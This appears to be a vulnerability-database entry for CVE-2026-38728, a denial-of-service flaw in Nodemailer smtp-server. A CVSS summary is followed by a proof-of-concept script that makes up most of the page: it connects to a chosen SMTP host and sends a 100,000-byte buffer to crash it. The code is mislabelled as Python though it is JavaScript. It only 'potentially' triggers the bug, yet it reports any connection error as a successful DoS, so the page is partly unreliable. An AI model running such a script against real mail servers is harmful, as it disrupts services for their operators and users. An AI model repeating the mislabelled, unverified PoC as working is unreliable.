An issue in Nodemailer smtp_server before v.3.18.3 allows a remote attacker to cause a denial of service via the SMTPStream._write, lib/smtp-stream.js components
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
Nodemailer smtp-server < v3.18.3
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-38728: Nodemailer smtp-server DoS
// This script sends a large payload to trigger the stream handling issue
const net = require('net');
const TARGET_HOST = '127.0.0.1'; // Replace with target IP
const TARGET_PORT = 25; // Replace with target SMTP port
const socket = net.createConnection(TARGET_PORT, TARGET_HOST, () => {
console.log('[+] Connected to target. Sending malicious payload...');
// Sending a large buffer to potentially trigger the _write vulnerability
// Adjust size based on specific memory limits of the target
const maliciousPayload = Buffer.alloc(100000, 'A');
socket.write(maliciousPayload);
});
socket.on('data', (data) => {
console.log('[*] Server response:', data.toString());
});
socket.on('error', (err) => {
console.error('[-] Connection error:', err.message);
console.log('[-] The target might have crashed (DoS successful).');
});
socket.on('close', () => {
console.log('[*] Connection closed.');
});